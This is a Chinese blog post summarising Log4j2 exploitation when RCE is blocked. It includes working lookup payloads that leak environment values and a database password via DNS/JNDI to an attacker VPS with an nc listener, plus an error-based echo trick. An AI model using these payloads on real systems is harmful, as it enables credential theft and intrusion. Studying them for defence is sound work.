[备份]浅谈Log4j2信息泄露与不出网回显

0x00 介绍

本文核心是探讨:由于各种情况(RASPSecurityManager等)导致无法RCE时候如何利用Log4j2

最近在赛博回忆录看到很多大佬提出Log4j2的利用姿势,本文也是参考各位大佬(比如浅蓝大佬)的成果做个总结

昨天看到P师傅凌晨三点还在研究Log4j2ES中的利用,P牛指出:

ElasticSearch利用JavaSecurityManager安全机制来防御文件操作和Socket操作,所以无法正常连接远程服务器

这种情况也说明了研究Log4j2RCE利用方式的必要性

信息泄露需要两个关键点

解决

0x01 嵌套标签

参考Payload

Log4j2是在substitute方法中递归解析${}表达式,所以可以利用这种嵌套标签,从内到外获取${}中的内容,然后分配给对应的Lookup做解析,获得信息后通过Dnslog带出

借用木头师傅的图片展示效果

img

0x02 Sys与Env

之所以专门提到这两个Lookup是因为他们之中通常包含着关键信息

信息来自于System.getProperty()System.getenv()

具体能获取哪些信息可以参考某位师傅的仓库:https://github.com/jas502n/Log4j2-CVE-2021-44228

img

0x03 Bundle

在浅蓝师傅的文章中提到的一种特殊Lookup

源码的BundleLookup核心内容如下

在通常情况下这个ResourceBundle被用来做国际化,网站通常会给一段表述的内容翻译成多种语言

SpringBoot下可能会获取到关键信息,将会比SysEnv更严重

但这种情况略显鸡肋,需要手动排除SpringBoot自带的日志依赖并加入Log4j2的依赖(这种情况可能不多)

通过${bundle:application:spring.datasource.password}可以直接拿到数据库密码

如果不需要手动排除默认日志依赖即可获取信息,那么这将会是严重的漏洞,但目前的情况不算很严重

img

嵌入标签即可带到Dnslog

img

0x04 DNS

DNS协议是属于JNDI协议的,所以我们也可以利用DNS协议来带一些信息

img

使用logg.error("${jndi:dns://xxxxx:8090/${java:version}}");

在自己的VPSnc -luvvp 8090即可收到信息(参考木头师傅图片)

img

0x05 不出网回显

很多群都在讨论Log4j2不出网的利用,主要参考浅蓝师傅给出的思路

这是一种报错回显,在log整体流程中有下面这样一部,具体流程参考Log4j2分析

tryCallAppender方法中catchRuntimeException

如果配置了ignoreExceptions选项,就会直接抛出来

接下来就是制造RuntimeException

例如字符串转数字中有一个NumberFormatException异常,它父类的父类是RuntimeException

其中port本该是int如果给它无法转int的字符串就会抛出这里的信息

又联想到${}是支持嵌套标签的,这里嵌入真正想要得到的结果,即可抛出执行结果

根据这个思路,成功在Tomcat项目中回显执行结果(例如这里的${java:version}

能够回显的Payload是这样:${jndi:ldap://x.x.x.x:${java:version}/xxx}

img

浅蓝师傅的思路是来自于端口字符串强转int报错来回显

log4j2.xml中开启配置:ignoreExceptions="false"

在实际的环境中,有开启这个配置的概率,参考apache官方的描述

大致意思是在FailoverAppender情况下必须设置该选项为false

某些情况下开发者想让错误报出来便于调试,也会故意开启这个选项

Tomcat中使用Log4j2的配置文件需要修改web.xml

来个Servlet即可触发

0x06 参考

参考浅蓝师傅的文章:https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg